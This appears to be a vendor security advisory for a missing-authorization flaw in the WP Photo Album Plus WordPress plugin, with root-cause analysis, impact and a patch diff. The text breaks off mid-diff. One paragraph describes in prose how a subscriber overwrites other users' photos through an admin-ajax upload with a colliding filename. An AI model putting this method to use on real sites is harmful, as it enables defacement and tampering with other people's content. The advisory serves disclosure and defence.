Published : December 2, 2026

CVE-2026-137101: WP Photo Album Plus <= 9.3.07.003 Missing Authorization to Authenticated (Subscriber+) Arbitrary Content Modification via Filename Collision PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.3)
CWE 862
Vulnerable Version 9.3.07.003
Patched Version 9.3.08.001
Disclosed December 1, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-137101: A missing authorization vulnerability in WP Photo Album Plus versions up to 9.3.07.003 allows an authenticated attacker with subscriber-level access (or custom-level on default configurations) to overwrite the high-resolution source JPEG of any existing published photo in a public album. The plugin fails to verify that the user is authorized to modify the target photo, enabling arbitrary content modification via a filename collision. The CVSS score is 4.3 (Medium).

Root Cause: The vulnerability lies in the duplicate filename handling logic across multiple upload and import functions. In wppa-functions.php, the function wppa_upload_common (lines 5213-5216) only checks for duplicate filenames if the wppa_void_dups setting is enabled. When disabled, the check is skipped entirely, allowing a file with the same basename to be uploaded and overwrite the existing photo. Similarly, in wppa-ajax.php, lines 2674-2677 and 2716-2719, the duplicate check is conditional on wppa_switch(‘void_dups’). The wppa_is_file_duplicate_photo function determines if a photo with the same filename exists in the album, but the conditional logic bypasses this critical check when the setting is off. The patch removes these conditionals, making the duplicate check unconditional, and also removes the wppa_void_dups setting entirely, as seen in wppa-defaults.php and wppa-settings-autosave.php.

Exploitation: An attacker with subscriber-level access can exploit this by sending a multipart POST request to the WordPress AJAX endpoint (/wp-admin/admin-ajax.php) with the action parameter set to the upload handler (e.g., wppa_user_upload). The attacker must include a file with a filename matching an existing photo’s basename in a public album (readable from gallery source URLs). The request also requires the target album ID. Because the plugin does not verify that the user owns or has permission to modify the target photo, the uploaded file overwrites the original high-resolution JPEG, replacing the content served at the lightbox and hi-res URL for all visitors. The only prerequisites are that user uploads are enabled (wppa_user_upload_on=yes) and a public album exists with at least one photo.

Patch Analysis: The patch (version 9.3.08.001) fixes the issue by removing the wppa_void_dups setting check and making the duplicate filename detection unconditional across all upload, import, and copy functions. In wppa-functions.php, the conditional block that checked wppa_switch(‘void_dups’) is removed, so wppa_is_file_duplicate_photo is always called. Similar changes occur in wppa-ajax.php (two locations), wppa-import-ajax.php, wppa-import.php, wppa-upload-common.php, and wppa-photo-admin-autosave.php. The setting itself is removed from wppa-defaults.php and wppa-settings-autosave.php. Additionally, the patch introduces a new sanitization function wppa_alphadec() to restrict characters in various inputs and applies escaping fixes in wppa-boxes-html.php, wppa-functions.php, and wppa-tinymce-shortcodes.php. These changes prevent the upload of duplicate filenames, thereby blocking the overwrite attack.

Impact: Successful exploitation allows an attacker to replace the high-resolution source JPEG of any existing photo in a public album with arbitrary image bytes. This can deface the site, inject malicious content (e.g., images containing exploits or misleading information), or disrupt the integrity of the photo gallery. The vulnerability does not lead to privilege escalation or remote code execution, but it compromises data integrity and can be used for phishing or misinformation. The CVSS score of 4.3 reflects the limited impact and the requirement for authenticated access and specific configuration.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/wp-photo-album-plus/wppa-admin-functions.php
+++ b/wp-photo-album-plus/wppa-admin-functions.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * gp admin functions
-* Version: 9.3.00.001
+* Version: 9.3.08.001
 *
 */

@@ -684,22 +684,20 @@
 		}

 		// If not dups allowed and its already here, quit
-		if ( wppa_get( 'nodups' ) || wppa_switch( 'void_dups' ) ) {
-			$exists = wppa_is_file_duplicate_photo( $filename, $alb );
-			if ( $exists ) {
-				if ( wppa_get( 'del-after-p' ) ) {
-					wppa_unlink( $file );
-					/* translators: photoname, albumname */
-					$msg = __( 'Photo %1$s already exists in album number %2$s. Removed from depot.', 'wp-photo-album-plus' );
-				}
-				else {
-					/* translators: photoname, albumname */
-					$msg = __( 'Photo %1$s already exists in album number %2$s.', 'wp-photo-album-plus' );
-				}
-				wppa_warning_message( sprintf( $msg, $name, $alb ) );
-				wppa_log( 'war', sprintf( $msg, $name, $alb ));
-				return false;
+		$exists = wppa_is_file_duplicate_photo( $filename, $alb );
+		if ( $exists ) {
+			if ( wppa_get( 'del-after-p' ) ) {
+				wppa_unlink( $file );
+				/* translators: photoname, albumname */
+				$msg = __( 'Photo %1$s already exists in album number %2$s. Removed from depot.', 'wp-photo-album-plus' );
 			}
+			else {
+				/* translators: photoname, albumname */
+				$msg = __( 'Photo %1$s already exists in album number %2$s.', 'wp-photo-album-plus' );
+			}
+			wppa_warning_message( sprintf( $msg, $name, $alb ) );
+			wppa_log( 'war', sprintf( $msg, $name, $alb ));
+			return false;
 		}

 		// Verify file exists
--- a/wp-photo-album-plus/wppa-ajax.php
+++ b/wp-photo-album-plus/wppa-ajax.php
@@ -2,7 +2,7 @@
 /* wppa-ajax.php
 *
 * Functions used in ajax requests
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -2674,7 +2674,7 @@

 						// Check for already exists
 						$exists = wppa_is_file_duplicate_photo( $photodata['filename'], $toalb );
-						if ( wppa_switch( 'void_dups' ) && $exists ) {
+						if ( $exists ) {

 							/* translators: file name, album id */
 							$txt = sprintf ( __( 'A photo with filename %1$s already exists in album %2$d.' , 'wp-photo-album-plus' ), $photodata['filename'], $toalb );
@@ -2716,7 +2716,7 @@

 						// Check for already exists
 						$exists = wppa_is_file_duplicate_photo( $photodata['filename'], $toalb );
-						if ( wppa_switch( 'void_dups' ) && $exists ) {
+						if ( $exists ) {

 							/* translators: photo filename, album id */
 							$txt = sprintf( __( 'A photo with filename %1$s already exists in album %2$d.' , 'wp-photo-album-plus' ), $photodata['filename'], $toalb );
--- a/wp-photo-album-plus/wppa-boxes-html.php
+++ b/wp-photo-album-plus/wppa-boxes-html.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Various wppa boxes
-* Version 9.3.06.002
+* Version 9.3.08.001
 *
 */

@@ -4091,7 +4091,7 @@
 								class="wppa-comment-bquote"
 								style="padding:5px 0;margin:5px 0 0;width:98%;"
 								>' .
-								wp_kses_post( convert_smilies( $c ) ) . '
+								esc_html( esc_js( wp_kses_post( convert_smilies( $c ) ) ) ) . '
 							</blockquote>';

 							// Status approved
@@ -4657,22 +4657,19 @@

 			$count++;
 			$newtag = $iptcline['tag'];
-			if ( $newtag != $oldtag && $oldtag != '' ) $result .= '</td></tr>';	// Close previous line
-			if ( $newtag == $oldtag ) {
-				$result .= '; ';							// next item with same tag
-			}
-			else {
+			if ( $newtag != $oldtag ) { 		// Ignore dups
 				$result .= 	'
 				<tr style="border-bottom:0 none; border-top:0 none; border-left: 0 none; border-right: 0 none">
 					<td class="wppa-iptc-label wppa-box-text wppa-td" style="width:50%;text-align:right">' .
 						esc_js( wppa_translate( $label ) ) . '
 					</td>
 					<td class="wppa-iptc-value wppa-box-text wppa-td" style="width:50%;text-align:left">';
+						$result .= esc_js( wppa_sanitize_text( wppa_translate( $iptcline['description'], 'wp-photo-album-plus' ) ) ) . '
+					</td>
+				</tr>';
 			}
-			$result .= esc_js( wppa_sanitize_text( wppa_translate( $iptcline['description'], 'wp-photo-album-plus' ) ) );
 			$oldtag = $newtag;
 		}
-		if ( $oldtag != '' ) $result .= '</td></tr>';	// Close last line
 		$result .= '</tbody></table></div>';
 	}
 	if ( ! $count ) {
@@ -4758,6 +4755,7 @@
 		$oldtag = '';
 		foreach ( $exifdata as $exifline ) {

+			$newtag = $exifline['tag'];
 			$default = 'default';
 			$label = '';
 			foreach ( $wppa_exif_labels as $exif_label ) {
@@ -4778,24 +4776,19 @@

 			$count++;
 			$newtag = $exifline['tag'];
-			if ( $newtag != $oldtag && $oldtag != '' ) $result .= '</td></tr>';	// Close previous line
-			if ( $newtag == $oldtag ) {
-				$result .= '; ';							// next item with same tag
-			}
-			else {
-				$result .= 	'<tr style="border-bottom:0 none; border-top:0 none; border-left: 0 none; border-right: 0 none">' .
-							'<td class="wppa-exif-label wppa-box-text wppa-td" style="width:50%;text-align:right">';
-
-				$label = rtrim( wppa_exif_tagname( $exifline['tag'], $brand ), " nrtv:" );
-
-				$result .= esc_js( wppa_translate( $label ) );
-
-				$result .= '</td><td class="wppa-exif-value wppa-box-text wppa-td" style="width:50%;text-align:left">';
+			if ( $newtag != $oldtag ) { 		// Ignore dups
+				$result .=
+				'<tr style="border-bottom:0 none; border-top:0 none; border-left: 0 none; border-right: 0 none">
+					<td class="wppa-exif-label wppa-box-text wppa-td" style="width:50%;text-align:right">' .
+						esc_js( wppa_translate( rtrim( wppa_exif_tagname( $exifline['tag'], $brand ), " nrtv:" ) ) ) . '
+					</td>
+					<td class="wppa-exif-value wppa-box-text wppa-td" style="width:50%;text-align:left">' .
+						esc_js( $exifline['f_description'] ) . '
+					</td>
+				</tr>';
 			}
-			$result .= esc_js( $exifline['f_description'] );
 			$oldtag = $newtag;
 		}
-		if ( $oldtag != '' ) $result .= '</td></tr>';	// Close last line
 		$result .= '</tbody></table></div>';
 	}
 	if ( ! $count ) {
--- a/wp-photo-album-plus/wppa-defaults.php
+++ b/wp-photo-album-plus/wppa-defaults.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains default settings
-* version 9.3.06.001
+* version 9.3.08.001
 *
 */

@@ -846,7 +846,6 @@
 						'wppa_user_destroy_on' 			=> 'no',
 						'wppa_upload_frontend_minsize' 	=> 0,
 						'wppa_upload_frontend_maxsize' 	=> 0,
-						'wppa_void_dups' 				=> 'no',
 						'wppa_fe_alert' 				=> 'all',
 						'wppa_fe_upload_max_albums' 	=> 500, 	// VII-B13

--- a/wp-photo-album-plus/wppa-exif-iptc-common.php
+++ b/wp-photo-album-plus/wppa-exif-iptc-common.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * exif and iptc common functions
-* Version: 9.3.05.002
+* Version: 9.3.08.001
 *
 *
 */
@@ -61,10 +61,7 @@
 				}
 			}

-			if ( $prevtag == $tag ) {			// add a next item for this tag
-				$combined .= ', '.htmlspecialchars( wp_strip_all_tags( $iptcline['description'] ) );
-			}
-			else { 							// first item of this tag
+			if ( $prevtag != $tag ) {			// Ignore dups
 				if ( $combined ) { 			// Process if required
 					$temp = str_replace( $prevtag, $combined, $temp );
 				}
@@ -146,10 +143,7 @@
 		foreach ( $exifdata as $exifline ) {

 			$tag = $exifline['tag'];
-			if ( $prevtag == $tag ) {			// add a next item for this tag
-				$combined .= ', ' . wppa_format_exif( $tag, $exifline['description'] );
-			}
-			else { 							// first item of this tag
+			if ( $prevtag != $tag ) {			// Ignore dups
 				if ( $combined ) { 			// Process if required
 					$temp = str_replace( $prevtag, $combined, $temp );
 				}
--- a/wp-photo-album-plus/wppa-filter.php
+++ b/wp-photo-album-plus/wppa-filter.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * get the albums via shortcode handler
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -168,7 +168,7 @@
 	$wppa['portrait'] 	= $atts['portrait'];
 	$wppa['anon'] 		= $atts['anon'];
 	$wppa['meonly'] 	= $atts['meonly'];
-	$wppa['container-wrapper-class'] = $atts['class'];
+	$wppa['container-wrapper-class'] = wppa_alphadec( $atts['class'] );
 	$wppa['targetmocc'] = $atts['targetmocc'];
 	$wppa['is_random']  	= $atts['random'];
 	$wppa['max'] 		= $atts['max'];
@@ -682,7 +682,7 @@
 			break;

 		default:
-			wppa_log( 'Err', 'Invalid type: ' . htmlentities( $atts['type'] ) . ' in wppa shortcode ' . $wppa_current_shortcode );
+			wppa_log( 'Err', 'Invalid type: ' . $atts['type'] . ' in wppa shortcode ' . $wppa_current_shortcode );
 			return '';
 	}

--- a/wp-photo-album-plus/wppa-functions.php
+++ b/wp-photo-album-plus/wppa-functions.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Various functions
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -3729,8 +3729,8 @@
 			wppa_out( '
 				<div
 					id="wppa-container-wrapper-' . wppa( 'mocc' ) . '"
-					class="' . $class . ' ' . wppa( 'container-wrapper-class' ) . '"
-					style="' . wppa_get_container_wrapper_style() . '"
+					class="' . esc_attr( $class . ' ' . wppa( 'container-wrapper-class' ) ) . '"
+					style="' . esc_attr( wppa_get_container_wrapper_style() ) . '"
 					>' );
 			break;
 		case 'close':
@@ -5213,12 +5213,10 @@
 		}

 		// Check for already exists
-		if ( wppa_switch( 'void_dups' ) ) {
-			if ( wppa_is_file_duplicate_photo( wppa_sanitize_file_name( $file['name'] ), $alb ) ) {
-				/* translators: filename */
-				$wppa_alert .= esc_js( sprintf( __( 'Uploaded file %s already exists in this album.', 'wp-photo-album-plus' ), wppa_sanitize_file_name( $file['name'] ) ) );
-				return false;
-			}
+		if ( wppa_is_file_duplicate_photo( wppa_sanitize_file_name( $file['name'] ), $alb ) ) {
+			/* translators: filename */
+			$wppa_alert .= esc_js( sprintf( __( 'Uploaded file %s already exists in this album.', 'wp-photo-album-plus' ), wppa_sanitize_file_name( $file['name'] ) ) );
+			return false;
 		}

 		// Find extension from mimetype
--- a/wp-photo-album-plus/wppa-import-ajax.php
+++ b/wp-photo-album-plus/wppa-import-ajax.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains the actual import functions
-* Version: 9.2.01.001
+* Version: 9.3.08.001
 *
 */

@@ -491,7 +491,7 @@
 		if ( is_numeric( $alb ) && $alb != 0 ) {

 			// Is it a dup and no dups?
-			if ( ( wppa_switch( 'void_dups' ) || wppa_get( 'nodups' ) ) && wppa_is_file_duplicate_photo( $name, $alb ) ) {
+			if ( wppa_is_file_duplicate_photo( $name, $alb ) ) {
 				$wppa_skip++;
 				wppa_log_skip( $name, 'duplicate not allowed' );
 				if ( wppa( 'is_remote' ) ) {
--- a/wp-photo-album-plus/wppa-import.php
+++ b/wp-photo-album-plus/wppa-import.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains all the import pages and functions
-* Version 9.3.00.002
+* Version 9.3.08.001
 *
 */

@@ -521,12 +521,8 @@
 					wppa_import_header_check( 'cre-album', __( 'Import into album', 'wp-photo-album-plus' ) . ' ' . $src, ' value="' . esc_attr( $src ) . '"' );
 				}
 				wppa_import_header_check( 'wppa-update', __( 'Update existing photos', 'wp-photo-album-plus' ) );
-				if ( wppa_switch( 'void_dups' ) ) {
-					wppa_echo( '<input type="hidden" id="wppa-nodups" name="wppa-nodups" value="1" />' );
-				}
-				else {
-					wppa_import_header_check( 'wppa-nodups', __( 'Do not create duplicates', 'wp-photo-album-plus' ) );
-				}
+				wppa_echo( '<input type="hidden" id="wppa-nodups" name="wppa-nodups" value="1" />' );
+
 				if ( wppa_switch( 'import_preview' ) ) {
 					wppa_import_header_check( 'wppa-zoom', __( 'Zoom previews', 'wp-photo-album-plus' ) );
 				}
--- a/wp-photo-album-plus/wppa-index.php
+++ b/wp-photo-album-plus/wppa-index.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains all indexing functions
-* Version: 9.2.01.003
+* Version: 9.3.08.001
 *
 *
 */
@@ -58,7 +58,7 @@
 			// If this line does not exist yet, create it with only one album number as data
 			if ( ! $indexline ) {
 				wppa_create_index_entry( array( 'slug' => $word, 'albums' => $id ) );
-				wppa_log( 'idx', 'Adding index slug {b}{span style="color:darkred"}' . $word . '{/span}{/b} for album {b}' . $id . '{/b}' );
+				wppa_log( 'idx', 'Adding index slug {b}' . $word . '{/b} for album {b}' . $id . '{/b}' );
 				$words_added .= $word . ' ';
 			}

@@ -127,7 +127,7 @@
 				// If this line does not exist yet, create it with only one album number as data
 				if ( ! $indexline ) {
 					wppa_create_index_entry( array( 'slug' => $word, 'photos' => $id ) );
-					wppa_log( 'idx', 'Adding index slug {b}{span style="color:darkred"}' . $word . '{/span}{/b} for photo {b}' . $id . '{/b}' );
+					wppa_log( 'idx', 'Adding index slug {b}' . $word . '{/b} for photo {b}' . $id . '{/b}' );
 					$words_added .= $word . ' ';
 				}

--- a/wp-photo-album-plus/wppa-input.php
+++ b/wp-photo-album-plus/wppa-input.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains functions for sanitizing and formatting user input
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -172,7 +172,6 @@
 			break;

 		// Html
-		case 'comment':
 		case 'upn-description':
 		case 'user-desc': 		// Desc by user during fe upload
 		case 'albumeditdesc': 	// Fe album desc
@@ -215,6 +214,7 @@
 		case 'tab':
 		case 'edit-id':
 		case 'item':
+		case 'switchto':
 			$result = 'alpha';
 			break;

@@ -357,7 +357,7 @@
 			break;

 		case 'post':
-			return isset( $_REQUEST[$key] ) ? wp_kses_post( ( str_replace( '%26', '&', wp_unslash( $_REQUEST[$key] ) ) ) ) : $default;
+			return isset( $_REQUEST[$key] ) ? wp_kses_post( wp_unslash( $_REQUEST[$key] ) ) : $default;
 			break;

 		case 'html':
@@ -434,7 +434,7 @@

 		case 'alpha':
 			$value = isset( $_REQUEST[$key] ) ? sanitize_text_field( wp_unslash( $_REQUEST[$key] ) ) : '';
-			$value = str_replace( ["'", '"'], '', $value );
+			$value = wppa_alphadec( $value );
 			return $value;
 			break;

--- a/wp-photo-album-plus/wppa-mailing.php
+++ b/wp-photo-album-plus/wppa-mailing.php
@@ -4,7 +4,7 @@
 *
 * Contains mailing functions
 *
-* Version 9.3.00.002
+* Version 9.3.08.001
 *
 */

@@ -182,7 +182,7 @@

 			// Is this lock not older than 18 second?
 			if ( wppa_filetime( $lock_file ) >= ( time() - 18 ) ) {
-				wppa_log( 'Eml', '{span style="color:red;" }{b}CRON ERROR{/b}{/span} Duplicate cron process detected. Aborting {b}' . $type . '{/b}' . $log_args );
+				wppa_log( 'Eml', '{span style="color:red;" }{b}CRON ERROR{/b} Duplicate cron process detected. Aborting {b}' . $type . '{/b}' . $log_args );
 			}

 			// It's older, so it is a regular re-run, but unneeded
--- a/wp-photo-album-plus/wppa-maintenance.php
+++ b/wp-photo-album-plus/wppa-maintenance.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains (not yet, but in the future maybe) all the maintenance routines
-* version 9.3.07.001
+* version 9.3.08.001
 *
 */

@@ -546,7 +546,7 @@
 						case 'wppa_remake_index_photos':
 							$wa = wppa_index_add( 'photo', $id, 'force' );
 							if ( $wa ) {
-								wppa_log( $logtype, 'Indexed photo {b}' . $id . '{/b} words added: {b}{span style="color:darkred"}' . $wa .  '{/span}{/b}');
+								wppa_log( $logtype, 'Indexed photo {b}' . $id . '{/b} words added: {b}' . $wa .  '{/b}');
 							}
 							break;

@@ -1095,17 +1095,17 @@

 						if ( strlen( $current_word ) < wppa_opt( 'search_min_length' ) ) {
 							wppa_del_row( $wpdb->wppa_index, 'slug', $current_word );
-							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}{span style="color:darkred"}' . $current_word . '{/b} from index because it is too short' );
+							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}' . $current_word . '{/b} from index because it is too short' );
 						}
 						if ( ! $index['photos'] && ! $index['albums'] ) {
 							wppa_del_row( $wpdb->wppa_index, 'slug', $current_word );
-							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}{span style="color:darkred"}' . $current_word . '{/b} from index because it has no items' );
+							wppa_log( 'idx', '{b}wppa_cleanup_index{/b} removed word {b}' . $current_word . '{/b} from index because it has no items' );
 						}

 						else {
 							$albums 		= wppa_index_string_to_array( $indexes[$idx]['albums'] );

-							wppa_log( 'idx', 'Start cleanup index # ' . $indexes[$idx]['id'] . ' word {b}{span style="color:darkred"}' . $indexes[$idx]['slug'] . '{/b}' );
+							wppa_log( 'idx', 'Start cleanup index # ' . $indexes[$idx]['id'] . ' word {b}' . $indexes[$idx]['slug'] . '{/b}' );

 							if ( is_array( $albums ) ) foreach( array_keys( $albums ) as $aidx ) {

@@ -1120,7 +1120,7 @@
 									// If album gone, remove it from index
 									if ( ! wppa_album_exists( $alb ) ) {
 										unset( $albums[$aidx] );
-										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because album vanished' );
+										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}' . $current_word . '{/b} because album vanished' );
 										$didsome = true;
 									}

@@ -1129,7 +1129,7 @@
 										$words 	= wppa_index_raw_to_words( wppa_index_get_raw_album( $alb ) );
 										if ( ! in_array( $indexes[$idx]['slug'], $words ) ) {
 											unset( $albums[$aidx] );
-											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because word no longer in album' );
+											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $alb . ' from album index word {b}' . $current_word . '{/b} because word no longer in album' );
 											$didsome = true;
 										}
 										wppa_cache_album( 'invalidate', $alb );	// Prevent cache overflow
@@ -1163,7 +1163,7 @@
 									// If photo gone, remove it from index
 									if ( ! wppa_photo_exists( $pho ) ) {
 										unset( $photos[$pidx] );
-										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because photo vanished' );
+										wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}' . $current_word . '{/b} because photo vanished' );
 										$didsome = true;
 									}

@@ -1172,7 +1172,7 @@
 										$words = wppa_index_raw_to_words( wppa_index_get_raw_photo( $pho ) );
 										if ( ! in_array( $indexes[$idx]['slug'], $words ) ) {
 											unset( $photos[$pidx] );
-											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}{span style="color:darkred"}' . $current_word . '{/span}{/b} because word no longer in photo' );
+											wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Removed ' . $pho . ' from photo index word {b}' . $current_word . '{/b} because word no longer in photo' );
 											$didsome = true;
 										}
 										wppa_cache_photo( 'invalidate' );	// Prevent cache overflow
@@ -1200,7 +1200,7 @@
 							$photos = wppa_index_array_to_string( $photos );
 							if ( $didsome ) {
 								wppa_update_index( $indexes[$idx]['id'], ['albums' => $albums, 'photos' => $photos] );
-								wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Updated index word {b}{span style="color:darkred"}' . $indexes[$idx]['slug'] . '{/span}{/b} with albums = ' . $albums . ' and photos = ' . $photos );
+								wppa_log( $logtype, '{b}wppa_cleanup_index{/b} Updated index word {b}' . $indexes[$idx]['slug'] . '{/b} with albums = ' . $albums . ' and photos = ' . $photos );
 							}
 						}
 						break;
--- a/wp-photo-album-plus/wppa-photo-admin-autosave.php
+++ b/wp-photo-album-plus/wppa-photo-admin-autosave.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * edit and delete photos
-* Version: 9.3.03.002
+* Version: 9.3.08.001
 *
 */

@@ -3339,15 +3339,16 @@
 							if ( $newalb ) {
 								$photo = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $id ), ARRAY_A );
 								wppa_echo( wppa_show_query( true ) );
-								if ( wppa_switch( 'void_dups' ) ) {	// Check for already exists
-									$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
-									wppa_echo( wppa_show_query( true ) );
-									if ( $exists ) {	// Already exists
-										/* translators: filename, albumname */
-										wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
-										$skip = true;
-									}
+
+								// Check for already exists
+								$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
+								wppa_echo( wppa_show_query( true ) );
+								if ( $exists ) {	// Already exists
+									/* translators: filename, albumname */
+									wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
+									$skip = true;
 								}
+
 								if ( ! $skip ) {
 									wppa_invalidate_treecounts( $photo['album'] );		// Current album
 									wppa_invalidate_treecounts( $newalb );				// New album
@@ -3361,14 +3362,15 @@
 							if ( $newalb ) {
 								$photo = $wpdb->get_row( $wpdb->prepare( "SELECT * FROM $wpdb->wppa_photos WHERE id = %d", $id ), ARRAY_A );
 								wppa_echo( wppa_show_query( true ) );
-								if ( wppa_switch( 'void_dups' ) ) {	// Check for already exists
-									$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
-									if ( $exists ) {	// Already exists
-										/* translators: filename, albumname */
-										wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
-										$skip = true;
-									}
+
+								// Check for already exists
+								$exists = $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->wppa_photos WHERE filename = %s AND album = %d", $photo['filename'], $newalb ) );
+								if ( $exists ) {	// Already exists
+									/* translators: filename, albumname */
+									wppa_error_message ( sprintf ( __( 'A photo with filename %1$s already exists in album %2$s.' , 'wp-photo-album-plus' ), $photo['filename'], $newalb ) );
+									$skip = true;
 								}
+
 								if ( ! $skip ) {
 									wppa_copy_photo( $id, $newalb );
 									wppa_invalidate_treecounts( $newalb );
--- a/wp-photo-album-plus/wppa-settings-autosave.php
+++ b/wp-photo-album-plus/wppa-settings-autosave.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * manage all options
-* version 9.3.06.001
+* version 9.3.08.001
 *
 */

@@ -8250,7 +8250,7 @@
 						$desc = __('Prevent the creation of duplicate photos.', 'wp-photo-album-plus' );
 						$help = __('If checked: uploading, importing, copying or moving photos to other albums will be prevented when the destination album already contains a photo with the same filename.', 'wp-photo-album-plus' );
 						$slug = 'wppa_void_dups';
-						$html = wppa_checkbox($slug);
+						$html = $security_no_disable;
 						wppa_setting_new($slug, 15, $name, $desc, $html, $help);

 						$name = __('Blacklist user', 'wp-photo-album-plus' );
--- a/wp-photo-album-plus/wppa-tinymce-shortcodes.php
+++ b/wp-photo-album-plus/wppa-tinymce-shortcodes.php
@@ -2,7 +2,7 @@
 /* wppa-tinymce-shortcodes.php
 * Pachkage: wp-photo-album-plus
 *
-* Version 9.2.01.001
+* Version 9.3.08.001
 */

 if ( ! defined( 'ABSPATH' ) ) exit();
@@ -339,7 +339,7 @@
 						<option value="#me">-- ' . __( 'The logged in visitor', 'wp-photo-album-plus' ) . ' --</option>';
 						$users = wppa_get_users();
 						if ( $users ) foreach ( $users as $user ) {
-							$result .= '<option value="' . $user['user_login'] . '">' . $user['display_name'] . '</option>';
+							$result .= '<option value="' . esc_attr( $user['user_login'] ) . '">' . esc_html( $user['display_name'] ) . '</option>';
 						}
 						else {	// Too many
 							$result .= '<option value="xxx">-- ' . __( 'Too many users, edit manually', 'wp-photo-album-plus' ) . ' --</option>';
--- a/wp-photo-album-plus/wppa-upload-common.php
+++ b/wp-photo-album-plus/wppa-upload-common.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains common upload functions
-* Version: 9.3.00.001
+* Version: 9.3.08.001
 *
 */

@@ -112,16 +112,8 @@
 	// Check against duplicate files
 	if ( $new_type == 'image' || $new_type == 'document' ) {
 		if ( $ext_type == $new_type ) {
-			if ( wppa_switch( 'void_dups' ) ) {
-				/* translators: filename */
-				wppa_upload_common_ok( sprintf( __( 'Item %s already exists in this album and will be overwritten', 'wp-photo-album-plus' ), $file['name'] ), $from );
-			}
-			else {
-
-				// Forget its a dup
-				$ext_type 	= '';
-				$ext_id 	= false;
-			}
+			/* translators: filename */
+			wppa_upload_common_ok( sprintf( __( 'Item %s already exists in this album and will be overwritten', 'wp-photo-album-plus' ), $file['name'] ), $from );
 		}
 	}

--- a/wp-photo-album-plus/wppa-utils.php
+++ b/wp-photo-album-plus/wppa-utils.php
@@ -3,7 +3,7 @@
 * Package: wp-photo-album-plus
 *
 * Contains low-level utility routines
-* Version: 9.3.07.001
+* Version: 9.3.08.001
 *
 */

@@ -1719,16 +1719,19 @@
 	// Debug mode on?
 	$dbg = wppa_switch( 'enable_debug' );

-	if ( wppa_switch( 'enable_ext_logging' ) ) {
-		$msg = '{b}'.$wppa_current_shortcode . '{/b} ' . $msg;
-	}
-
 	// Sanitize message
 	$msg = wp_strip_all_tags( $msg );
 	$msg = wppa_nl2sp( $msg );
 	$msg = htmlspecialchars( $msg );
 	$msg = str_replace( 'style="color:darkred"', 'style="color:darkred"', $msg );

+	if ( wppa_switch( 'enable_ext_logging' ) ) {
+		$msg = '{b}' . wppa_alphadec( $wppa_current_shortcode, [], true ). '{/b} ' . wppa_alphadec( $msg, ['{','}','/'], true );
+	}
+	else {
+		$msg = wppa_alphadec( $msg, [], true );
+	}
+
 	// Test for recursive logging
 	if ( $busy ) {
 		wppa_update_option( 'wppa_recursive_log', $xtype . ' ' . $msg );
@@ -5253,8 +5256,8 @@
 	}

 	// Now do the other compressions
-	$from = 	array( 	"> <", "<ul></ul>", "<!--",   '" >', '&', 'style=" ', '"/>',  ' style=""', 'px;', '/>' );
-	$to = 		array(	"><",  "",          "n<!--", '">',  '&',     'style="',  '" />', ' ',          'px;', '>'  );
